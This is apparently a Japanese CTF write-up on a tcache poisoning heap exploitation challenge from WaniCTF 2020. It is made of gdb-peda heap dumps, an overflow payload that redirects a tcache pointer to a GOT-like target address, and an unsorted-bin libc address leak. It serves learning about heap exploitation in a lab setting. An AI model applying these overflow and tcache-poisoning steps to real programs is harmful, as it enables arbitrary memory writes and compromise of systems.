0x603260:	0x0000000000000000	0x0000000000000000  <-- 0
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x0000000000000000	0x0000000000603010  <-- free
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000  <-- 2
0x6032b0:	0x0000000000000000	0x0000000000020d51

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x603280
```

おー，freeしたばっかりの 0x603280 を再利用しようとしてるw
tcache_entryに 0x603280 がつながった

```
command?: 2
index?[0-9]: 0
memo?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB@` [Ctrl+d]
```

仮に0x604042がGOTとかで書き換えたいアドレスとする。
B@` = 0x604042

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x4141414141414141	0x4141414141414141
0x603270:	0x4141414141414141	0x4141414141414141
0x603280:	0x0000000000604042	0x0000000000603010  <-- over flow
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x603280 --> 0x604042 (overlap chunk with 0x603270(freed) )
```

tcache_entry --> 0x603280 --> 0x604042

この状態で，２回mallocしたら，ターゲットである 0x604042 にヒープが作られる。

```
add(3.16)
```

```
RAX: 0x603280 --> 0x604042 --> 0x0 

gdb-peda$ x/16xg 0x603260
0x603260:	0x4141414141414141	0x4141414141414141
0x603270:	0x4141414141414141	0x4141414141414141
0x603280:	0x0000000000604042	0x0000000000000000
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](0): 0x604042
```

```
add(4.16)
```

```
RAX: 0x604042 --> 0x0 

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](255): 0
```

## unsortbinにつなげる

```
add(0.16)
add(1.1040)
add(2.16)
```

```
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6036b0 (size : 0x20950) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

```
del(1)
```

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000421
0x603280:	0x00007ffff7dcdca0	0x00007ffff7dcdca0
0x603290:	0x0000000000000000	0x0000000000000000

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6036b0 (size : 0x20950) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x603270 (size : 0x420)
```

unsortbinにつながるのは 0x603280 と思ってたけど 0x603270 になってる。
変だな？


# 作問者writeup

ここから問題のバイナリをダウンロードできます。

https://github.com/wani-hackase/wanictf2020-writeup/tree/master/pwn/08-tcache-poisoning